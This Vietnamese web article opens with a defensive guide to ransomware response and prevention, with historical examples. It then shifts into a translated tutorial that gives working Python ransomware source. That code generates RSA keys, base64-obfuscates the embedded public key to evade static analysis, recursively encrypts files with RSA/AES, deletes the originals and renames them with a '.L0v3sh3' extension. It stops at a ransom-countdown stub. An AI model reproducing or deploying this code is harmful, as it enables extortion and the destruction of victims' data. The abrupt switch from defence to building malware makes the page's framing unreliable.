Bất kể kịch bản là gì, một cuộc tấn công bằng ransomware có thể tàn phá máy tính của bạn. Hãy cùng tìm hiểu thêm về ransomware và các bước bạn có thể thực hiện sau khi bị dính ransomware.

Ransomware là gì?

Ransomware là một cuộc tấn công độc hại khiến dữ liệu của bạn bị khóa hoặc mã hóa bởi tội phạm mạng ẩn danh. Những kẻ tấn công sẽ cung cấp hướng dẫn về cách giải mã các tệp và cuối cùng nạn nhân có thể lấy lại tệp của họ sau khi trả trước một khoản “tiền chuộc” khổng lồ.

Một số hoạt động nhất định có thể dẫn đến một cuộc tấn công bằng ransomware. Ở một mức độ lớn, hai chiến thuật độc hại, được gọi là “social engineering” và “lateral movement“, có thể là thủ phạm.

Trong một số trường hợp, tội phạm mạng có thể tiến hành một cuộc tấn công ransomware trước và thực hiện việc đòi tiền chuộc sau đó, do đó cuộc tấn công thực sự có thể xảy ra vài ngày sau khi xâm nhập mạng.

Các bước cần thực hiện sau khi bị Ransomware tấn công

Phòng ngừa là hình thức phòng thủ tốt nhất khi nói đến ransomware. Nếu bạn hoặc công ty của bạn không có các biện pháp bảo mật mạnh mẽ, thì bạn rất dễ bị dính ransomware.

Một cuộc tấn công ransomware có thể rất nguy hiểm. Nhưng nếu bạn hành động kịp thời ngay lập tức sau khi dính ransomware, bạn có thể giảm thiểu một số thiệt hại. Dưới đây là 10 bước bạn nên thực hiện sau khi bị tấn công bằng ransomware.

1. Giữ bình tĩnh và thu thập thông tin

Thật khó để giữ bình tĩnh khi bạn không thể truy cập các tệp quan trọng trên máy tính của mình. Nhưng bước đầu tiên bạn cần làm sau khi bị tấn công bởi ransomware là không hoảng sợ và giữ thái độ bình tĩnh.

Hầu hết mọi người sẽ lao vào trả tiền chuộc trước khi phân tích mức độ nghiêm trọng của tình huống họ đang gặp phải. Giữ bình tĩnh và lùi lại một bước đôi khi có thể mở ra cơ hội đàm phán với kẻ tấn công.

2. Chụp ảnh Ghi chú Ransomware

Bước thứ hai là ngay lập tức chụp ảnh ghi chú ransomware trên màn hình của bạn thông qua điện thoại hoặc máy ảnh. Nếu có thể, hãy chụp ảnh màn hình trên máy bị ảnh hưởng.

Điều này sẽ giúp bạn báo cảnh sát và sẽ đẩy nhanh quá trình khắc phục sự cố.

3. Cô lập máy bị ảnh hưởng

Điều quan trọng là phải cô lập các hệ thống bị ảnh hưởng càng sớm càng tốt. Ransomware thường quét mạng mục tiêu và lây truyền sang các hệ thống khác.

Tốt nhất là tách các hệ thống bị ảnh hưởng khỏi mạng để ngăn chặn sự lây nhiễm và ngăn chặn ransomware lây lan.

4. Tìm công cụ giải mã

May mắn thay, có rất nhiều công cụ giải mã có sẵn trên mạng, ở những nơi chẳng hạn như No More Ransom.

Nếu bạn đã biết tên chủng ransomware của mình, thì bạn có thể chỉ cần nhập tên nó vào trang web và tìm kiếm công cụ giải mã phù hợp.

5. Vô hiệu hóa các nhiệm vụ bảo trì

Bạn nên tắt ngay các tác vụ bảo trì tự động, chẳng hạn như xóa tệp tạm thời và sao lưu nhật ký, trên các hệ thống bị ảnh hưởng. Điều này sẽ ngăn những tác vụ này can thiệp vào các tệp có thể hữu ích cho việc phân tích pháp y và điều tra.

6. Ngắt kết nối sao lưu

Hầu hết các chủng ransomware hiện đại ngay lập tức vô hiệu hóa quá trình sao lưu để ngăn cản các nỗ lực khôi phục.

Do đó, bạn hoặc tổ chức của bạn bắt buộc phải bảo mật các bản sao lưu của mình bằng cách tách chúng khỏi phần còn lại của mạng. Bạn cũng nên khóa quyền truy cập vào các hệ thống sao lưu cho đến khi giải quyết được vấn đề.

7. Xác định biến thể tấn công

Để xác định chủng loại ransomware, bạn có thể sử dụng các dịch vụ miễn phí như công cụ nhận dạng ransomware trực tuyến của Emsisoft hoặc ID Ransomware.

Các dịch vụ này cho phép người dùng tải lên một mẫu tệp được mã hóa, bất kỳ ghi chú đòi tiền chuộc nào bị bỏ lại và thông tin liên hệ của kẻ tấn công, nếu có. Việc phân tích thông tin này có thể xác định loại phần mềm tống tiền đã tấn công người dùng.

8. Đặt lại mật khẩu

Thay đổi tất cả mật khẩu trực tuyến và mật khẩu tài khoản khi bạn đã ngắt kết nối các hệ thống bị ảnh hưởng khỏi mạng. Sau khi loại bỏ ransomware, bạn nên đổi tất cả các mật khẩu hệ thống một lần nữa.

9. Báo cáo Ransomware

Thời điểm bạn nhận thấy mình bị tấn công bằng ransomware, hãy nhớ liên hệ với cơ quan pháp luật. Ngay cả khi cơ quan thực thi pháp luật không thể giúp giải mã các tệp của bạn, thì ít nhất họ cũng có thể giúp những người khác tránh được số phận tương tự.

10. Quyết định trả tiền chuộc hay không

Quyết định trả tiền cho ransomware không phải là một quyết định dễ dàng và đi kèm với những ưu và nhược điểm của nó. Chỉ trả tiền cho ransomware nếu bạn đã dùng hết các cáchkhác và việc mất dữ liệu gây thiệt hại cho bạn hoặc công ty của bạn nhiều hơn là trả tiền chuộc.

Mẹo để giảm thiểu các cuộc tấn công bằng Ransomware

Sự gia tăng của tội phạm mạng đang thúc đẩy các tổ chức phải suy nghĩ lại về các chiến lược bảo mật của họ. Dưới đây là một số mẹo có thể giúp bạn giảm thiểu các cuộc tấn công ransomware.

• Hạn chế đặc quyền quản trị: Hãy thận trọng khi cung cấp đặc quyền quản trị vì tài khoản quản trị viên có quyền truy cập vào mọi thứ, bao gồm cả việc thay đổi cấu hình hoặc bỏ qua các cài đặt bảo mật quan trọng. Luôn sử dụng Nguyên tắc Đặc quyền Ít nhất (PLOP) khi cấp bất kỳ loại quyền truy cập nào.
• Vá các ứng dụng: Nếu bạn phát hiện ra một lỗ hổng bảo mật, hãy vá nó càng sớm càng tốt để ngăn chặn tin tặc lợi dụn nó.
• Sử dụng danh sách cho phép ứng dụng: Danh sách cho phép ứng dụng là một kỹ thuật giảm thiểu mối đe dọa chủ động cho phép các chương trình được ủy quyền trước chạy trong khi tất cả các chương trình khác vẫn bị chặn theo mặc định. Nó giúp xác định các nỗ lực thực thi mã độc hại và cũng ngăn chặn các cài đặt trái phép.
• Cảnh giác với email: Email dễ bị tấn công bởi ransomware nhất, do đó, bắt buộc phải tăng cường bảo mật email. Cổng email an toàn đảm bảo tất cả các liên lạc qua email được lọc cùng với việc kích hoạt tính năng bảo vệ URL và sandbox để chủ động xác định các mối đe dọa. Cũng như các mưu đồ lừa đảo qua email cần được ngăn chặn, bạn cũng cần chú ý đến việc bảo vệ sau khi gửi.
• Đào tạo nhận thức bảo mật: Vì hành vi của con người bắt đầu tất cả các cuộc tấn công ransomware, nên việc đào tạo nhận thức về bảo mật là điều bắt buộc đối với tất cả nhân viên. Khóa đào tạo này là bắt buộc vì nó dạy người dùng phân biệt các mối đe dọa thực sự với dữ liệu hợp pháp.
• Sử dụng MFA: Xác thực đa yếu tố (MFA) bổ sung thêm một lớp bảo mật vì nó yêu cầu hai hoặc nhiều bằng chứng để đăng nhập vào các giải pháp truy cập từ xa, như ngân hàng trực tuyến hoặc các hành động đặc quyền khác, cần thông tin nhạy cảm.
• Sao lưu hàng ngày: Sao lưu dữ liệu thường xuyên là một phần không thể thiếu của kế hoạch khôi phục sau sự cố. Trong trường hợp bị tấn công bởi ransomware, bạn có thể khôi phục và truy cập vào dữ liệu đã sao lưu. Bạn luôn có thể giải mã dữ liệu gốc của mình bằng cách khôi phục các bản sao lưu trước đó.

Bên cạnh việc hết sức cẩn thận, hãy luôn nhớ rằng các cuộc tấn công bằng phần mềm độc hại, bao gồm cả ransomware, đều nhắm vào phần mềm chưa được vá lỗi và lỗi thời. Vì vậy, điều quan trọng nhất là tất cả phần mềm chạy trên máy của bạn phải được cập nhật.

Câu hỏi thường gặp

Tôi nên làm gì đầu tiên nếu nghi ngờ máy tính của mình bị nhiễm ransomware?

Điều quan trọng nhất là giữ bình tĩnh và cô lập máy tính bị ảnh hưởng khỏi mạng để ngăn chặn sự lây lan. Sau đó, chụp ảnh màn hình ghi chú đòi tiền chuộc và tìm kiếm công cụ giải mã trên trang web No More Ransom.

Có nên trả tiền chuộc cho hacker không?

Việc trả tiền chuộc không được khuyến khích, vì không đảm bảo bạn sẽ lấy lại dữ liệu và có thể khuyến khích các hoạt động tội phạm mạng. Hãy thử các phương pháp khác như sử dụng công cụ giải mã trước khi cân nhắc đến việc trả tiền.

Làm thế nào để giảm thiểu nguy cơ bị tấn công bởi ransomware?

Cập nhật phần mềm thường xuyên, sử dụng phần mềm diệt virus đáng tin cậy, cảnh giác với email đáng ngờ, hạn chế quyền quản trị và thực hiện đào tạo nhận thức bảo mật cho người dùng là những biện pháp phòng ngừa hiệu quả.

Ransomware hoạt động như thế nào?

Đặc điểm nổi bật của ransomware là nó được sử dụng như một công cụ tống tiền và có nhiều cách khác nhau để tội phạm mạng sử dụng loại phần mềm độc hại này để giành quyền truy cập vào thiết bị của nạn nhân. Một trong những cách phổ biến nhất là email lừa đảo — nạn nhân được gửi email có đính kèm file độc hại và sẽ lây nhiễm vào máy tính của nạn nhân khi chúng được mở.

Sau khi chiếm đoạt thành công máy tính của nạn nhân, những kẻ tấn công tiếp tục mã hóa một số hoặc tất cả các tệp của người dùng, như tài liệu Word, PDF, hình ảnh, cơ sở dữ liệu,… Phần mềm tống tiền cũng có thể khai thác toàn bộ lỗ hổng mạng, có thể lây lan sang các hệ thống khác và thậm chí trên toàn bộ tổ chức.

Vào cuối cuộc tấn công, tin tặc sẽ gửi cho nạn nhân một tin nhắn giải thích rằng các tệp của họ hiện đã bị mã hóa và chỉ có thể được giải mã nếu trả tiền chuộc. Tiền chuộc thường được yêu cầu dưới hình thức thanh toán Bitcoin không theo dõi được để trả cho kẻ tấn công.

Mục tiêu của Ransomware?

Mục tiêu ransomware có thể là người tiêu dùng cá nhân, các doanh nghiệp vừa và nhỏ hoặc các tổ chức doanh nghiệp lớn hơn. Việc bọn tội phạm chọn mục tiêu như thế nào thường phụ thuộc vào cơ hội. Ví dụ: họ có thể nhắm đến các nhóm có đội bảo mật nhỏ hơn như các trường đại học do khả năng bảo mật yếu hơn và mức độ chia sẻ tệp cao.

Một mục tiêu phổ biến khác là các tổ chức có nhiều khả năng trả tiền chuộc trong thời gian ngắn hơn. Các cơ quan chính phủ, ngân hàng, công ty luật và cơ sở y tế đều thuộc loại này, vì họ có thể cần quyền truy cập ngay lập tức vào các tệp khách hàng nhạy cảm và sẽ sẵn sàng trả tiền chuộc hơn nếu đổi lại sự im lặng về các vi phạm tài chính của tổ chức đó.

Cuối cùng, tội phạm thường nhắm mục tiêu vào các tổ chức công ty lớn với hy vọng kiếm được nhiều tiền hơn. Các cuộc tấn công ransomware trong danh mục này thường tập trung vào các doanh nghiệp ở Anh, Hoa Kỳ và Canada do số lượng sử dụng máy tính cá nhân cao.

Các loại Ransomware

Trong khi có vô số chủng loại ransomware, hầu hết các cuộc tấn công thuộc hai loại chính: Crypto ransomware và locker ransomware.

• Crypto ransomware hoạt động bằng cách mã hóa các tệp máy tính nhạy cảm của nạn nhân và yêu cầu tiền chuộc trước khi có thể khôi phục tệp.
• Locker ransomware không mã hóa các tập tin. Thay vào đó, nó xâm phạm các chức năng máy tính cơ bản và khóa nạn nhân hoàn toàn khỏi thiết bị của họ cho đến khi trả tiền chuộc.

Mức độ nghiêm trọng do một cuộc tấn công ransomware gây ra sẽ phụ thuộc vào biến thể của ransomware đang được sử dụng và các phương pháp giải quyết sẽ khác nhau tùy thuộc vào loại ransomware.

Ví dụ về ransomware

Mặc dù ransomware chỉ mới xuất hiện được vài thập kỷ, nhưng nó đã có những bước phát triển nhanh chóng trong 5 năm qua nhờ sự tiến bộ của các phương thức thanh toán không thể theo dõi như Bitcoin. Dưới đây là một số vụ tấn công kinh khủng nhất từ trước đến nay.

1. CryptoLocker

CryptoLocker là một trong những cuộc tấn công ransomware trên diện rộng đầu tiên sử dụng mã hóa khóa công khai. Cuộc tấn công năm vào 2013 này đã đặt nền móng cho ransomware hiện tại và đã xâm nhập hơn 500.000 máy từ năm 2013 đến năm 2014. Thanh toán được yêu cầu trả dưới dạng Bitcoin và vào thời điểm đó, các chuyên gia tin rằng phần mềm độc hại đang được sử dụng là không thể xâm nhập.

Đến năm 2014, một công ty bảo mật cuối cùng cũng có quyền truy cập vào một máy chủ liên quan đến cuộc tấn công và khôi phục thành công các khóa mã hóa, nhưng những kẻ tấn công vẫn cố gắng tống tiền gần 3 triệu USD trước khi chúng phá sản.

2.WannaCry

WannaCry là một cuộc tấn công năm 2017, lây lan trên 150 quốc gia nhằm vào các lỗ hổng bảo mật trong phần mềm Windows. Cuộc tấn công đã lây nhiễm cho 230.000 thiết bị trên toàn thế giới, khóa người dùng khỏi máy tính của họ cho đến khi trả tiền chuộc bằng Bitcoin.

Cuộc tấn công WannaCry hoạt động bằng cách khai thác một lỗ hổng hệ điều hành được phát hiện là đã xuất hiện từ rất lâu trước khi cuộc tấn công xảy ra và sự kiện này đã làm sáng tỏ hệ thống bảo mật lỗi thời. Trên toàn cầu, WannaCry gây ra thiệt hại tài chính trung bình 4 tỷ USD.

3. NotPetya

NotPetya là một cuộc tấn công toàn cầu năm 2017 chủ yếu nhắm vào Ukraine. Ban đầu, nó được cho là một dòng Petya ransomware mới – một dạng phần mềm độc hại lây nhiễm vào máy tính mục tiêu, mã hóa dữ liệu và đòi tiền chuộc bằng bitcoin để khôi phục tệp. Tuy nhiên, NotPetya sau đó được coi là một dòng ransomware hoàn toàn mới được gọi là wiper, với mục đích duy nhất là phá hủy dữ liệu bị xâm phạm thay vì trả lại để đòi tiền chuộc.

4. BadRabbit

BadRabbit là một dòng ransomware đã lây nhiễm cho các công ty truyền thông trên khắp nước Nga và Đông Âu vào năm 2019. Cuộc tấn công được thực hiện thông qua việc phát tán bản cập nhật Adobe Flash giả mạo để lây nhiễm thiết bị của nạn nhân khi tải xuống, hướng họ đến trang thanh toán nơi đòi tiền chuộc bằng Bitcoin. Không giống như cuộc tấn công NotPetya, BadRabbit sẽ giải mã file nếu nhận được khoản tiền chuộc.

Cách bảo vệ bản thân khỏi Ransomware

Như với bất kỳ mối đe dọa an ninh mạng nào, các phương pháp phòng ngừa hầu như luôn tốt hơn là tìm cách chữa trị khi đã quá muộn. Thực hiện theo các phương pháp phòng ngừa tốt nhất dưới đây để giảm thiểu nguy cơ bị tấn công.

• Sao lưu dữ liệu: Cách tốt nhất để tránh bị mã hóa các tệp nhạy cảm là sao lưu dữ liệu định kỳ. Tốt nhất là thực hiện việc này trên đám mây hoặc bằng ổ cứng ngoài. Nếu bạn gặp phải một cuộc tấn công, bạn chỉ cần xóa thiết bị của mình và cài đặt lại các tệp bằng bản sao lưu đó.
• Bảo vệ email: các chiến dịch lừa đảo qua email là một trong những phương tiện phổ biến nhất để phát tán ransomware, vì vậy việc bảo mật email của bạn là rất quan trọng. Ở cấp độ tổ chức, việc trang bị cho nhân viên của bạn khả năng nhận ra các email đáng ngờ có thể ngăn chặn một cuộc tấn công trước khi nó có thể gây ra bất kỳ thiệt hại nào.
• Luôn cập nhật hệ thống: Thường xuyên cập nhật phần mềm của bạn là một trong những cách đơn giản nhất để ngăn chặn bất kỳ cuộc tấn công mạng nào. Mỗi bản cập nhật phần mềm có sẵn đều giảm thiểu các lỗ hổng bảo mật mới được tìm thấy, khiến những kẻ tấn công khó khai thác phần mềm lỗi thời hơn.
• Không bao giờ nhấp vào các liên kết đáng ngờ: Cho dù đó là tệp đính kèm trong email hay một liên kết được tìm thấy trên web, đừng bao giờ nhấp vào các liên kết trong thư rác hoặc các trang web không xác định. Chỉ cần nhấp vào một liên kết độc hại cũng có thể bắt đầu quá trình tải xuống tự động, lây nhiễm vào máy tính của bạn ngay lập tức.
• Không tiết lộ thông tin cá nhân: Không bao giờ trả lời email hoặc tin nhắn văn bản từ một nguồn không xác định yêu cầu thông tin cá nhân, ngay cả khi họ tự nhận là người mà bạn tin tưởng.
• Sử dụng phần mềm bảo mật: Cài đặt phần mềm bảo mật đáng tin cậy là một trong những cách dễ nhất để giữ an toàn cho dữ liệu của bạn. Để tăng cường khả năng bảo vệ, hãy chọn một phần mềm cung cấp nhiều hơn các tính năng chống virus— một số có khả năng phát hiện mối đe dọa đa nền tảng có thể giữ an toàn cho tất cả các thiết bị của bạn.

Cách đối phó với các cuộc tấn công bằng Ransomware

Nếu bạn đã bị tấn công bằng ransomware, thì thời gian là điều cốt yếu và điều quan trọng nhất là phải hành động càng nhanh càng tốt. Bạn có thể thực hiện một số bước để giảm thiểu thiệt hại.

• Cách ly thiết bị bị nhiễm virus: Để đảm bảo an toàn cho mạng, bộ nhớ dùng chung và các thiết bị khác của bạn, quan trọng là bạn phải ngắt kết nối thiết bị bị ảnh hưởng khỏi mạng càng sớm càng tốt. Điều này có thể ngăn các thiết bị được kết nối khác bị nhiễm virus.
• Đánh giá tất cả các thiết bị được kết nối khác: Việc cô lập thiết bị bị nhiễm không phải lúc nào cũng đảm bảo rằng phần mềm tống tiền không tồn tại ở nơi khác trên mạng của bạn. Để ngăn nó lây lan, hãy kiểm tra tất cả các thiết bị được kết nối khác và ngắt kết nối bất kỳ thiết bị nào đang hoạt động đáng ngờ.
• Báo cáo với cơ quan chức năng: Ransomware là một loại tội phạm giống như bất kỳ loại tội phạm nào khác cần được báo cáo cho cơ quan thực thi pháp luật. Các nhà chức trách liên quan cũng có quyền truy cập vào các công cụ để truy xuất dữ liệu bị đánh cắp và xác định vị trí của những kẻ tấn công.

Ransomware có thể bị loại bỏ không?

Việc loại bỏ ransomware tùy thuộc vào loại ransomware mà bạn đang xử lý và bạn sẽ cần phải cài đặt phần mềm bảo mật trước khi bị tấn công — nhưng trong một số trường hợp, bạn có thể xóa được. Đây là những gì bạn có thể làm:

• Ngắt kết nối thiết bị bị nhiễm khỏi Internet càng sớm càng tốt để ngăn phần mềm tống tiền phát tán.
• Quét các tệp độc hại và xóa chúng bằng phần mềm bảo mật. Nếu ransomware khóa màn hình máy tính, thì có thể không thực hiện được.
• Lấy lại quyền truy cập vào dữ liệu của bạn bằng công cụ giải mã được kết nối với phần mềm bảo mật. Bước này sẽ phụ thuộc vào phần mềm bảo mật bạn có.
• Khôi phục các tệp đã mất của bạn nếu bạn có bản sao lưu dữ liệu bên ngoài.

Nếu bạn không thể thực hiện các bước trên, tùy chọn còn lại duy nhất là đặt lại máy tính của bạn về cài đặt gốc. Bạn có thể đọc bài viết này để biết cách reset win bằng usb.

Ransomware gây ra mối đe dọa đáng kể cho người tiêu dùng cũng như các công ty, và những kẻ tấn công đang thực hiện các cuộc tấn công ngày càng tinh vi khi công nghệ tiến bộ. Khi nói đến việc bảo vệ bản thân, phòng ngừa hầu như luôn tốt hơn là tìm cách chữa sau cuộc tấn công — điều này có nghĩa là giáo dục bản thân về ransomware và cách sử dụng thiết bị một cách an toàn là điều cần thiết để ngăn chặn mọi cuộc tấn công. Để tăng cường bảo mật, hãy đảm bảo có phần mềm chống virus trên tất cả các thiết bị của bạn để giảm nguy cơ lây nhiễm.

Câu hỏi thường gặp

Ransomware là gì và nó hoạt động như thế nào?

Ransomware là phần mềm độc hại mã hóa tệp của bạn, khóa bạn khỏi hệ thống, và đòi tiền chuộc để giải mã. Nó thường lây lan qua email lừa đảo hoặc các liên kết độc hại.

Tôi có thể bị ảnh hưởng bởi ransomware như thế nào?

Bạn có thể bị nhiễm ransomware bằng cách mở tệp đính kèm email độc hại, nhấp vào liên kết độc hại, hoặc thông qua các lỗ hổng bảo mật trong phần mềm của bạn.

Làm thế nào để tôi bảo vệ mình khỏi ransomware?

Sao lưu dữ liệu thường xuyên, cập nhật phần mềm, sử dụng phần mềm diệt virus, và tránh nhấp vào các liên kết hoặc tệp đính kèm đáng ngờ là những bước quan trọng để bảo vệ mình.

P/s: Bài viết được dịch từ Febi Mudiyanto, và mình sẽ sử dụng ngôi thứ nhất để các bạn dễ hiểu hơn.

Ransomware là gì?

Ransomware giống như phần mềm độc hại hoặc virus máy tính, nhưng với một mục đích là mã hóa dữ liệu và đòi tiền chuộc cho bạn. Dữ liệu của bạn được mã hóa bằng mã hóa bất đối xứng và virus chỉ mã hóa bằng khóa công khai. Có một khóa riêng để giải mã dữ liệu của bạn trở lại, nhưng kẻ tấn công chắc chắn sẽ không đính kèm khóa riêng với virus.

Các bước chuẩn bị để tạo ransomware

Trước khi bạn xây dựng một số chương trình, bạn phải hiểu nó sẽ làm gì. Đây là danh sách các yêu cầu của mình, bạn cũng có thể sử dụng danh sách của riêng mình.

1. Chương trình phải là một tệp thực thi và có icon giống như một tệp tài liệu.

2. Chương trình phải mã hóa dữ liệu bằng khóa công khai

3. Sau khi mã hóa, chương trình phải xóa các tệp gốc và thay đổi phần mở rộng tệp được mã hóa thành “.L0v3sh3”.

4. Chương trình phải hiển thị thông báo có đồng hồ đếm ngược.

Viết chương trình Ransomware

Bước 1 – Tạo khóa cá nhân và khóa công khai

Đoạn code dưới đây dùng để tạo khóa cá nhân (privateKey) và khóa công khai (publicKey). Khá dễ hiểu nên mình sẽ không giải thích thêm.

'''
pip install pycryptodome
'''

from Crypto.PublicKey import RSA

key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()

# lưu khóa cá nhân vào tệp
with open('private.pem', 'wb') as f:
    f.write(privateKey)

# lưu khóa công khai vào tệp
with open('public.pem', 'wb') as f:
    f.write(publicKey)

print('Private key saved to private.pem')
print('Public key saved to public.pem')
print('Done')

Sau khi chạy file genKey.py, bạn sẽ có 2 tệp là private.pem và public.pem. Các bạn nhớ lưu file private.pem một cách an toàn.

Bước 2 – Mã hóa khóa công khai

Mục đích chính của việc mã hóa là làm cho khóa công khai khó xác định bằng cách phân tích phần mềm độc hại dạng tĩnh. Vì vậy, mình mã hóa khóa công khai bằng base64 và đính kèm khóa đó vào code của mình.

Bạn có thể sử dụng đoạn lệnh này:

import base64
code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" 
print(base64.b64decode(code))

Vì vậy, bạn có thể mã hóa khóa riêng tư của mình, sau đó giải mã nó trong script.

import base64
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))

Bước 3 – Mã hóa một số tệp trong thư mục

def scanRecurse(baseDir):
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)

Hàm trên là một hàm đệ quy để quét các thư mục và trả lại một loạt các tệp được liệt kê cùng đường dẫn. Sau đó, mình sử dụng hàm mã hóa và cung cấp danh sách file đã lấy trước đó.

import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

'''
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))
'''

# Mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét thư mục và trả về danh sách tất cả các tệp.
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    encryptedFile = fileName + '_encrypted.' + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    print('Encrypted file saved to ' + encryptedFile)

fileName = 'test.txt'
encrypt(fileName, pubKey)

Và đối với hàm giải mã, bạn có thể sử dụng lệnh dưới đây.

def decrypt(dataFile, privateKeyFile):
    '''
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''

    # đọc khóa cá nhân từ tệp
    with open(privateKeyFile, 'rb') as f:
        privateKey = f.read()
        # create private key object
        key = RSA.import_key(privateKey)

    # đọc dữ liệu từ tệp
    with open(dataFile, 'rb') as f:
        # read the session key
        encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ]

    # giải mã khóa phiên
    cipher = PKCS1_OAEP.new(key)
    sessionKey = cipher.decrypt(encryptedSessionKey)

    # giải mã dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX, nonce)
    data = cipher.decrypt_and_verify(ciphertext, tag)

    # lưu dữ liệu đã giải mã vào tệp
    [ fileName, fileExtension ] = dataFile.split('.')
    decryptedFile = fileName + '_decrypted.' + fileExtension
    with open(decryptedFile, 'wb') as f:
        f.write(data)

    print('Decrypted file saved to ' + decryptedFile)

Quét tệp, mã hóa tệp đó rồi thay đổi phần mở rộng.

import base64
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES


# mã hóa khóa công khai bằng base64
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Quét một thư mục và trả về danh sách tất cả các tệp
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    Đầu vào: đường dẫn đến tệp để mã hóa, khóa công khai
    Đầu ra: tệp được mã hóa với phần mở rộng .L0v3sh3 và xóa tệp gốc
    sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép
    '''
    # đọc dữ liệu từ tệp
    extension = dataFile.suffix.lower()
    dataFile = str(dataFile)
    with open(dataFile, 'rb') as f:
        data = f.read()
    
    # chuyển đổi dữ liệu sang byte
    data = bytes(data)

    # tạo đối tượng khóa công khai
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # mã hóa khóa phiên bằng khóa công khai
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # mã hóa dữ liệu bằng khóa phiên
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # lưu dữ liệu được mã hóa vào tệp
    fileName= dataFile.split(extension)[0]
    fileExtension = '.L0v3sh3'
    encryptedFile = fileName + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    os.remove(dataFile)


# thay đổi thư mục thành thư mục của script
# giữ an toàn khi thay đổi thư mục,
# KHÔNG CHẠY SCRIPT NÀY TRÊN PC CỦA BẠN
directory = '../' # THAY ĐỔI CHỖ NÀY
excludeExtension = ['.py','.pem', '.exe'] # VỚI ĐỔI CHỖ NÀY
for item in scanRecurse(directory): 
    filePath = Path(item)
    fileType = filePath.suffix.lower()

    if fileType in excludeExtension:
        continue
    encrypt(filePath, pubKey)

Để thử nghiệm, mình sẽ sử dụng thư mục gốc của thư mục chương trình này để quét và mã hóa bằng tập lệnh này.

Đây là thư mục của mình  trước khi chạy phần mềm độc hại:

Đây là thư mục của mình sau khi chạy phần mềm độc hại:

import tkinter as tk

def countdown(count):
